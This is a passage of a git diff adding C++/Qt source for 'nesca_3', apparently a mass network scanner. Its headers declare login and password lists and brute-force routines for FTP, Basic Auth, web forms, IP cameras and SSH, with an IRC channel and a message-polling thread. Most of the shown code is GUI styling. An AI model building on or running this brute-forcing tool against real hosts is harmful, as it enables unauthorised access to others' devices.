"80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" +#define IRC_CHAN "iskopasi_lab03" +#define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; + +extern QJsonArray *jsonArr; + +extern unsigned long long gTargetsOverall, Activity; +extern char top_level_domain[128]; +extern volatile int BA, cons, BrutingThrds, gThreads; +extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; +extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, + widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, + gDebugMode, horLineFlag, gPingNScan, gShuffle; +extern int found, indexIP, gMode, + MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass, + GlobalNegativeSize, isActive, gMaxBrutingThreads, + gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, + gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, + Susp, WF, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; +extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], + ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], + trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], + gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], + gVER[16]; + +struct pl{ + int loginCounter; + int passCounter; +}; diff --git a/externFunctions.h b/externFunctions.h new file mode 100644 index 0000000..67b5f3d --- /dev/null +++ b/externFunctions.h @@ -0,0 +1,18 @@ +extern std::string toLowerStr(const char *str); +extern int recvS(int lSock, char *recvBuffT, int len, int mode); +extern int sendS(int lSock, char *msg, int len, int mode); +extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); +extern void UserNickInit(SOCKET lSock); +extern void GetNicks(); +extern int startScan(char* argv); +extern void BConInc(); +extern void BConDec(); +extern QString GetNSErrorDefinition(char *str, char *defin); +extern void _SaveBackupToFile(); +extern char* __cdecl strstri(char *_Str, const char *_SubStr); +extern char* _getAttribute(char *str, char *attrib); +extern char *_findFirst(char *str, char *delim); +extern void nCleanup(); +extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); +extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); + diff --git a/irc_nmblinker.cpp b/irc_nmblinker.cpp new file mode 100644 index 0000000..0391f43 --- /dev/null +++ b/irc_nmblinker.cpp @@ -0,0 +1,16 @@ +#include "irc_nmblinker.h" +#include "nesca_3.h" + +void IRC_NMBlinker::doEmitBlinkMessage() +{ + emit irc_nmb->sBlinkMessage(); +}; + +void IRC_NMBlinker::run() +{ + while(widgetIsHidden == false && disableBlink == false && tray->isVisible() == false) + { + irc_nmb->doEmitBlinkMessage(); + msleep(500); + }; +}; diff --git a/irc_nmblinker.h b/irc_nmblinker.h new file mode 100644 index 0000000..180776f --- /dev/null +++ b/irc_nmblinker.h @@ -0,0 +1,20 @@ +#ifndef IRC_NMBLINKER_H +#define IRC_NMBLINKER_H + +#include "nesca_3.h" + +class IRC_NMBlinker : public QThread +{ + Q_OBJECT + +public: + static void doEmitBlinkMessage(); + +public: signals: void sBlinkMessage(); + +protected: + void run(); +}; +extern IRC_NMBlinker *irc_nmb; + +#endif // IRC_NMBLINKER_H diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..64303be --- /dev/null +++ b/main.cpp @@ -0,0 +1,47 @@ +#include "nesca_3.h" +#include +#if defined(Q_OS_WIN32) +#include +#include +#endif + +//--Fixing _ITERATOR_DEBUG_LEVEL 0!=2 +//#if defined(Q_OS_WIN32) +//int WINAPI WinMain(HINSTANCE hInstance, +// HINSTANCE hPrevInstance, LPSTR lpcmdline, int ncmdshow) +//{ +// QApplication a(ncmdshow, (char **)lpcmdline); +//#else +//int main(int argc, char *argv[]) +//{ +// QApplication a(argc, argv); +//#endif +//#if defined(Q_OS_WIN32) +int main(int argc, char *argv[]) +{ + QApplication a(argc, argv); + QStringList list; + list << "Eurostile.ttf"; + int fontID(-1); + bool fontWarningShown(false); + for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) { + QFile res(":/nesca_3/" + *constIterator); + if (res.open(QIODevice::ReadOnly) == false) { + if (fontWarningShown == false) { + fontWarningShown = true; + } + } else { + fontID = QFontDatabase::addApplicationFontFromData(res.readAll()); + if (fontID == -1 && fontWarningShown == false) { + fontWarningShown = true; + } + } + } + +//#endif +nesca_3 *gui = new nesca_3(); + + gui->showNormal(); + return a.exec(); +} + \ No newline at end of file diff --git a/mainResources.h b/mainResources.h new file mode 100644 index 0000000..b764316 --- /dev/null +++ b/mainResources.h @@ -0,0 +1,115 @@ +#pragma once +#include "base64.h" + +#include +#if defined(Q_OS_WIN32) +#pragma once +#include "iostream" +#include +#include +#include +#include +#endif +#if defined(Q_OS_LINUX) +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define ZeroMemory(Destination,Length) memset((Destination),0,(Length)) +#define Sleep(secs) usleep((secs)*1000) +#define WSAGetLastError() errno +#define closesocket(sock) ::close((sock)) + +typedef unsigned int UINT; +typedef const char * LPCSTR; +typedef int SOCKET; +typedef hostent HOSTENT; +typedef struct linger LINGER; +typedef int BOOL; +#define INVALID_SOCKET (SOCKET)(~0) +#define SOCKET_ERROR (-1) +#define SD_BOTH 0x02 +#define FAR far +#endif + +#define MAX_ADDR_LEN 128 +#define TITLE_MAX_SIZE 512 +#define COOKIE_MAX_SIZE 1024 + +struct PathStr{ + char codepage[32]; + char headr[TITLE_MAX_SIZE]; + char path[1024]; + int flag; + int port; + char ip[MAX_ADDR_LEN]; + char cookie[COOKIE_MAX_SIZE]; + int directoryCount; +}; + +struct lopaStr{ + char login[128]; + char pass[32]; + char other[128]; +}; + +struct conSTR{ + char *lowerBuff; + int size; + bool overflow = false; +}; + +class Lexems + { + public: + int iterationCount, flag; + + Lexems() + { + iterationCount = 0; + flag = 0; + }; + ~Lexems() + { + iterationCount = 0; + }; + + int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector *lst, char *rBuff); + int _filler(int p, char* buffcpy, char* ipi, int recd, Lexems *lx, char *hl); + int globalSearchNeg(const char *buffcpy, char *ip, int port); + }; + + +class Connector + { + public: + int _Updater(); + + lopaStr _FTPLobby(char *ip, int port, PathStr *ps); + lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data); + lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal); + lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); + int _SSHLobby(char *ip, int port, conSTR *CSTR); + + int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); + int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); + void _Connect(void *s); + int _ConnectToPort(char *ip, const char *port, char *hl); + }; + diff --git a/mainwindow.cpp b/mainwindow.cpp new file mode 100644 index 0000000..49d64fc --- /dev/null +++ b/mainwindow.cpp @@ -0,0 +1,14 @@ +#include "mainwindow.h" +#include "ui_mainwindow.h" + +MainWindow::MainWindow(QWidget *parent) : + QMainWindow(parent), + ui(new Ui::MainWindow) +{ + ui->setupUi(this); +} + +MainWindow::~MainWindow() +{ + delete ui; +} diff --git a/mainwindow.h b/mainwindow.h new file mode 100644 index 0000000..a3948a9 --- /dev/null +++ b/mainwindow.h @@ -0,0 +1,22 @@ +#ifndef MAINWINDOW_H +#define MAINWINDOW_H + +#include + +namespace Ui { +class MainWindow; +} + +class MainWindow : public QMainWindow +{ + Q_OBJECT + +public: + explicit MainWindow(QWidget *parent = 0); + ~MainWindow(); + +private: + Ui::MainWindow *ui; +}; + +#endif // MAINWINDOW_H diff --git a/mainwindow.ui b/mainwindow.ui new file mode 100644 index 0000000..6050363 --- /dev/null +++ b/mainwindow.ui @@ -0,0 +1,24 @@ + + MainWindow + + + + 0 + 0 + 400 + 300 + + + + MainWindow + + + + + + + + + + + diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp new file mode 100644 index 0000000..a9eb26b --- /dev/null +++ b/msgcheckerthread.cpp @@ -0,0 +1,45 @@ +#include "msgcheckerthread.h" +#include "externData.h" +#include "mainResources.h" + +void MSGCheckerThread::doEmitionShowNewMsg(QString str) +{ + emit mct->showNewMsg(str); +}; + +void _getNewMsg() +{ + Connector con; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + char request[256] = {0}; + strcpy(request, "GET /mailbox?key="); + strncat(request, trcPersKey, 32); + strcat(request, " HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n"); + con._EstablishConnection("nesca.d3w.org", 80, request, &CSTR, 1); + + char *ptr1 = NULL; + if(CSTR.lowerBuff != NULL) + { + if(strstr(CSTR.lowerBuff, "\r\n\r\n") != NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 404 Not Found") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 502 Bad Gateway") == NULL && strstr(CSTR.lowerBuff, "HTTP/1.1 400 Bad Request") == NULL && strstr(CSTR.lowerBuff, "\r\n\r\nEmpty") == NULL) + { + ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); + if(strlen(ptr1 + 4) != 0) + { + mct->doEmitionShowNewMsg(QString(ptr1 + 4)); + }; + }; + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; +}; + +void MSGCheckerThread::run() +{ + for(;;) + { + Sleep(60000); + _getNewMsg(); + }; +}; diff --git a/msgcheckerthread.h b/msgcheckerthread.h new file mode 100644 index 0000000..bb098ba --- /dev/null +++ b/msgcheckerthread.h @@ -0,0 +1,19 @@ +#ifndef MSGCHECKERTHREAD_H +#define MSGCHECKERTHREAD_H + +#pragma once +#include "nesca_3.h" + +class MSGCheckerThread : public QThread +{ + Q_OBJECT +public: + static void doEmitionShowNewMsg(QString str); +public: signals: void showNewMsg(QString); + +protected: + void run(); +}; +extern MSGCheckerThread *mct; + +#endif // MSGCHECKERTHREAD_H diff --git a/nesca.pro b/nesca.pro new file mode 100644 index 0000000..59b12cd --- /dev/null +++ b/nesca.pro @@ -0,0 +1,20 @@ +#------------------------------------------------- +# +# Project created by QtCreator 2015-02-24T13:25:33 +# +#------------------------------------------------- + +QT += core gui + +greaterThan(QT_MAJOR_VERSION, 4): QT += widgets + +TARGET = nesca +TEMPLATE = app + + +SOURCES += main.cpp\ + mainwindow.cpp + +HEADERS += mainwindow.h + +FORMS += mainwindow.ui diff --git a/nesca_3.cpp b/nesca_3.cpp new file mode 100644 index 0000000..236a3eb --- /dev/null +++ b/nesca_3.cpp @@ -0,0 +1,4000 @@ +#pragma region Decls +#pragma once +#include +#include +#include "nesca_3.h" +#include "CheckKey_Th.h" +#include "DrawerTh_QoSScanner.h" +#include "oIRC_Th.h" +#include "IRCPinger_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "msgcheckerthread.h" +#include "vercheckerthread.h" +#include "DrawerTh_HorNet.h" +#include "ActivityDrawerTh_HorNet.h" +#include "DrawerTh_GridQoSScanner.h" +#include "DrawerTh_ME2Scanner.h" +#include "DrawerTh_VoiceScanner.h" +#include "piestat.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include "progressbardrawer.h" +#include "externFunctions.h" +#include "externData.h" + +QDate date = QDate::currentDate(); +int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); +#define VER 130706 +#define WIDGET_WIDTH 500 +//#define IRC_CHAN "iskopasi_lab01" + +bool utfIRCFlag = true; +bool HTMLDebugMode = false; +bool code160 = false; +bool gDebugMode = false; +bool gNegDebugMode = false; +bool smBit_1 = false; +bool smBit_2 = false; +bool smBit_3 = false; +bool smBit_4 = false; +bool smBit_5 = false; +bool smBit_6 = false; +bool smBit_7 = false; +bool smBit_8 = false; +bool debugFileOK = false; +bool privateMsgFlag = false; + +static char *argv[] = {0}; +static int argc = 0; +char inputStr[256] = {0}; +bool proxyEnabledFlag = false; +bool disableBlink = false; +char gVER[16] = {0}; +int nickFlag; +int offlineFlag; +bool OnlineMsgSentFlag = false; +int globalPinger = 0; + +bool dFlag = false; +bool startFlag = false; +bool trackerOK = true; +char ircServer[32] = {0}; +char ircPort[32] = {0}; +char ircProxy[64] = {0}; +char ircProxyPort[8] = {0}; +char ircNick[32] = {0}; +char trcPort[32] = {0}; +char trcSrvPortLine[32] = {0}; +char trcProxy[128] = {0}; +char trcSrv[256] = {0}; +char trcScr[256] = {0}; +char trcPersKey[32] = {0}; + +SOCKET lSock; + +VerCheckerThread *vct = new VerCheckerThread(); +MSGCheckerThread *mct = new MSGCheckerThread(); +STh *stt = new STh(); +DrawerTh_HorNet *dtHN = new DrawerTh_HorNet(); +DrawerTh_ME2Scanner *dtME2 = new DrawerTh_ME2Scanner(); +DrawerTh_QoSScanner *dtQoS = new DrawerTh_QoSScanner(); +DrawerTh_GridQoSScanner *dtGridQoS = new DrawerTh_GridQoSScanner(); +CheckProxy_Th *chPTh = new CheckProxy_Th(); +IRCPinger_Th *ircPTh = new IRCPinger_Th(); +oIRC_Th *ircTh = new oIRC_Th(); +CheckKey_Th *chKTh = new CheckKey_Th(); +ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet(); +DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner(); +IRC_NMBlinker *irc_nmb = new IRC_NMBlinker(); +PieStat *psTh = new PieStat(); +ProgressbarDrawer *pbTh = new ProgressbarDrawer(); + +bool MapWidgetOpened = false; +bool connectedToIRC = false; +bool globalScanFlag; +float QoSStep = 1; +int MaxDataVal = 1; +QGraphicsScene *sceneGrid; +QGraphicsScene *sceneGrid2; +QGraphicsScene *sceneGraph; +QGraphicsScene *sceneUpper; +QGraphicsScene *sceneActivity; +QGraphicsScene *sceneActivityGrid; +QGraphicsScene *sceneTextPlacer; +QGraphicsScene *sceneVoice; +QGraphicsScene *pbScene; +QGraphicsScene *jobRangeVisualScene; + +QString importFileName = ""; + +QSystemTrayIcon *tray; + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + +QWidget *qwm; +QString globalIRCText; +QString globalIRCRaw; +PopupMsgWidget *msgWdgt; + +QPen rpen(QColor(255, 0, 0, 190), 0.1, Qt::DotLine); +QPen pen(QColor(130, 130, 130), 0.1, Qt::DotLine); +QPen pen2(QColor(130, 130, 130), 0.5); +QPen penQoS0(QColor(255, 255, 255), 0.8); +QPen penQoS1(QColor(255, 0, 0), 0.9); +QPen penQoS2(QColor(0, 255, 0), 0.8); +QPen penQoS3(QColor(255, 85, 0), 0.8); //orange +QPen penQoS4(QColor(255, 0, 255), 0.8); //violet +QPen penQoS5(QColor(0, 0, 255), 0.8); +QPen penQoS6(QColor(82,180,229), 0.8); //sky-blue +QPen penQoS7(QColor(85,0,0), 0.8); //dRed +QPen penQoSWhite(QColor(255,255,255), 0.2); +QPen penQoSBlack(QColor(0,0,0), 0.3); +QPen penBlack(QColor(0,0,0)); +QPen pen2i; + +QVector vectOld; +QList lstOfLabels; +QVector actLst; +QVector vAlivLst; +QVector vAnomLst; +QVector vWFLst; +QVector vSuspLst; +QVector vLowlLst; +QVector vBALst; +QVector vSSHLst; +QVector vOvrlLst; +QVector vect; + +QMenu *menuPS; + +QVector NodeDots; +QVector NodeAddrs; + +int u = 1; + +const nesca_3 *gthis; +bool BALogSwitched = false; +bool widgetIsHidden = false; +bool blinkFlag = false; +bool printDelimiter = false; +bool IRCLogToggled = true; +int PhraseIndex = 0; +QList PhraseLog; +bool ME2ScanFlag = true, QoSScanFlag = false, VoiceScanFlag = false, PieStatFlag = false; + +Ui::nesca_3Class *ui = new Ui::nesca_3Class; + +#pragma endregion +void setSceneArea() +{ + delete ui->graphicsVoice; + ui->graphicsVoice = new PieStatView(ui->widget); + ui->graphicsVoice->setObjectName(QStringLiteral("graphicsVoice")); + ui->graphicsVoice->setGeometry(QRect(220, 265, 270, 100)); + ui->graphicsVoice->setStyleSheet(QStringLiteral("border:1px solid white;background-color: rgba(26, 26,26, 0);")); + ui->graphicsVoice->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + ui->graphicsVoice->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); + ui->graphicsVoice->setRenderHints(QPainter::TextAntialiasing); + ui->graphicsVoice->setCacheMode(QGraphicsView::CacheNone); + + ui->graphicsVoice->raise(); + + sceneGrid = new QGraphicsScene(); + sceneGrid2 = new QGraphicsScene(); + sceneGraph = new QGraphicsScene(); + sceneUpper = new QGraphicsScene(); + sceneActivity = new QGraphicsScene(); + sceneActivityGrid = new QGraphicsScene(); + sceneTextPlacer = new QGraphicsScene(); + sceneVoice = new QGraphicsScene(); + pbScene = new QGraphicsScene(); + jobRangeVisualScene = new QGraphicsScene(); + + ui->graphicLog->setScene(sceneGrid); + ui->graphicLog_2->setScene(sceneGraph); + ui->graphicDelim->setScene(sceneGrid2); + ui->graphicLog_Upper->setScene(sceneUpper); + ui->graphicActivity->setScene(sceneActivity); + ui->graphicActivityGrid->setScene(sceneActivityGrid); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + ui->graphicsVoice->setScene(sceneVoice); + ui->pbgv->setScene(pbScene); + ui->jobRangeVisual->setScene(jobRangeVisualScene); + + ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height()); + ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height()); + ui->graphicDelim->setSceneRect(0, 0, ui->graphicDelim->width(), ui->graphicDelim->height()); + ui->graphicLog_Upper->setSceneRect(0, 0, ui->graphicLog_Upper->width(), ui->graphicLog_Upper->height()); + ui->graphicActivity->setSceneRect(0, 0, ui->graphicActivity->width(), ui->graphicActivity->height()); + ui->graphicActivityGrid->setSceneRect(0, 0, ui->graphicActivityGrid->width(), ui->graphicActivityGrid->height()); + ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height()); + ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height()); + ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height()); + ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height()); +}; +void setButtonStyleArea() +{ + ui->checkKeyBut->setStyleSheet( + " #checkKeyBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #00b304;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #checkKeyBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #1efd00;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #IRCConnectBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->IRCCheckProxyBut->setStyleSheet( + " #IRCCheckProxyBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #bfb800;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #IRCCheckProxyBut:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #e9e100;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->importButton->setStyleSheet( + " #importButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #00b304;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #importButton:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #1efd00;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + ui->startScanButton_3->setStyleSheet( + " #startScanButton_3 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #startScanButton_3:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->startScanButton_4->setStyleSheet( + " #startScanButton_4 {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #919191;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + + " #startScanButton_4:hover{" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: #D1D1D1;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); +}; +void setSomeStyleArea() +{ + qApp->setStyleSheet( + "QMenu{" + "color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;" + "}" + + ".a{" + "color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;" + "}" + + "QMenu::item {" + "padding: 2px 25px 2px 25px;" + "border: 1px solid transparent;" + "}" + + "QMenu::item:disabled {" + "color:rgb(35, 35, 35);background-color: rgb(26, 26, 26); border: 1px solid white;" + "padding: 2px 25px 2px 25px;" + "border: 1px solid transparent;" + "}" + + "QMenu::item:selected:enabled {" + "color:rgb(255, 255, 255);background-color: rgb(26, 26, 26); border: 1px solid white;" + "border-color: rgb(250, 170, 60);" + "background: rgba(250, 170, 60, 50);" + "}" + + "QMenu::item:selected:disabled {" + "color:rgb(35, 35, 35);background-color: rgb(26, 26, 26); border: 1px solid white;" + "border-color: rgb(250, 170, 60);" + "background: rgba(250, 170, 60, 50);" + "}" + + "QMenu::separator {" + "height: 2px;" + "margin-left: 25px;" + "}" + + "QMenu::indicator {" + "width: 13px;" + "height: 13px;" + "}" + + " #widget {" + "border: 1px solid #525252;" + "border-radius: 0px;" + "}" + + " #exitButton {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #exitButton:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #exitButton:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " #trayButton {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #trayButton:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #trayButton:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " #exitButton_2 {" + "color: #525252;" + "border: 0px solid black;" + "}" + + " #exitButton_2:hover {" + "color: red;" + "border: 0px solid black;" + "}" + + " #exitButton_2:pressed {" + "color: maroon;" + "border: 0px solid black;" + "}" + + " QLineEdit {" + "border: 1px solid #525252 !important;" + "border-radius: 0px !important;" + "padding: 0 8px !important;" + "background: yellow !important;" + "selection-background-color: darkgray !important;" + "}" + + "QTabBar::tab {" + "color: white;" + "border: 1px solid #C4C4C3;" + "border-bottom-color: #C2C7CB;" + "border-top-left-radius: 4px;" + "border-top-right-radius: 4px;" + "padding: 1px 3px;" + "margin-left: 1px;" + "margin-bottom: 4px;" + "}" + + "QTabBar::tab:selected {" + "color: black;" + "background-color: #505050;" + "}" + + "QCheckBox::indicator:unchecked" + "{" + "background-color:black;" + "border: 1px solid #313131;" + "}" + + "QCheckBox::indicator:checked" + "{" + "background-color: qradialgradient(spread:pad, cx:0.5, cy:0.5, radius:0.5, fx:0.5, fy:0.500318, stop:0.107955 rgba(255, 255, 255, 255), stop:0.204545 rgba(255, 255, 255, 0));" + "border: 1px solid #313131;" + "}" + ); + setButtonStyleArea(); +}; +void SetValidators() +{ + QRegExpValidator *validator = new QRegExpValidator( + QRegExp("([\\d*|.|//|-])+"), + NULL + ); + ui->ipLine->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\d{1,5}[,|-]\\s{0,1})+"), NULL); + ui->portLine->setValidator(validator); + ui->lineEditPort->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("\\d{1,3}"), NULL); + ui->importThreads->setValidator(validator); + ui->threadLine->setValidator(validator); + ui->lineEditThread->setValidator(validator); + ui->iptoLine_value->setValidator(validator); + ui->iptoLine_value_2->setValidator(validator); + ui->iptoLine_value_3->setValidator(validator); + ui->maxBrutingThrBox->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); + ui->PingTO->setValidator(validator); + ui->threadDelayBox->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\w|-|\\.|\\[|\\]|\\\\)+"), NULL); + ui->lineEditStartIPDNS->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("(\\w|-|\\.)+((\\w|-|\\.)+)+"), NULL); + ui->lineILVL->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("\\d{1,5}"), NULL); + ui->serverPortBox->setValidator(validator); + ui->ircProxyPort->setValidator(validator); + ui->trcSrvPortLine->setValidator(validator); + + validator = new QRegExpValidator(QRegExp("[a-zA-Z0-9]{32}"), NULL); + ui->linePersKey->setValidator(validator); +}; + +void nesca_3::slotDrawTextPlacers() +{ + QFont fnt; + fnt.setFamily("Eurostile"); + if(ME2ScanFlag) + { + delete []sceneTextPlacer; + sceneTextPlacer = NULL; + sceneTextPlacer = new QGraphicsScene(); + ui->graphicTextPlacer->setScene(sceneTextPlacer); + + sceneTextPlacer->clear(); + QPen penPT(QColor(255, 255, 255), 0.5, Qt::SolidLine, Qt::SquareCap, Qt::RoundJoin); + + ui->RedLabel->setVisible(false); + ui->GreenLabel->setVisible(false); + ui->CyanLabel->setVisible(false); + ui->BlueLabel->setVisible(false); + ui->PinkLabel->setVisible(false); + ui->YellowLabel->setVisible(false); + ui->WhiteLabel->setVisible(false); + ui->DredLabel->setVisible(false); + + ui->labelAnomaly->setVisible(false); + ui->labelBA->setVisible(false); + ui->labelFiltered->setVisible(false); + ui->labelBads->setVisible(false); + ui->labelLowloads->setVisible(false); + ui->labelOverloads->setVisible(false); + ui->labelAlives->setVisible(false); + ui->labelSSH->setVisible(false); + + fnt.setPixelSize(10); + + sceneTextPlacer->addLine(85, 110, 90, 100, penPT); + sceneTextPlacer->addLine(23, 110, 83, 110, penPT); + + QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt); + item->setX(25); + item->setY(94); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(118, 120, 130, 100, penPT); + sceneTextPlacer->addLine(23, 121, 117, 121, penPT); + item = sceneTextPlacer->addText("- Webforms", fnt); + item->setX(25); + item->setY(105); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(155, 130, 170, 100, penPT); + sceneTextPlacer->addLine(23, 131, 154, 131, penPT); + item = sceneTextPlacer->addText("- Basic Auth", fnt); + item->setX(25); + item->setY(115); + item->setDefaultTextColor(QColor(255, 255, 255, 180)); + + sceneTextPlacer->addLine(190, 140, 210, 100, penPT); + 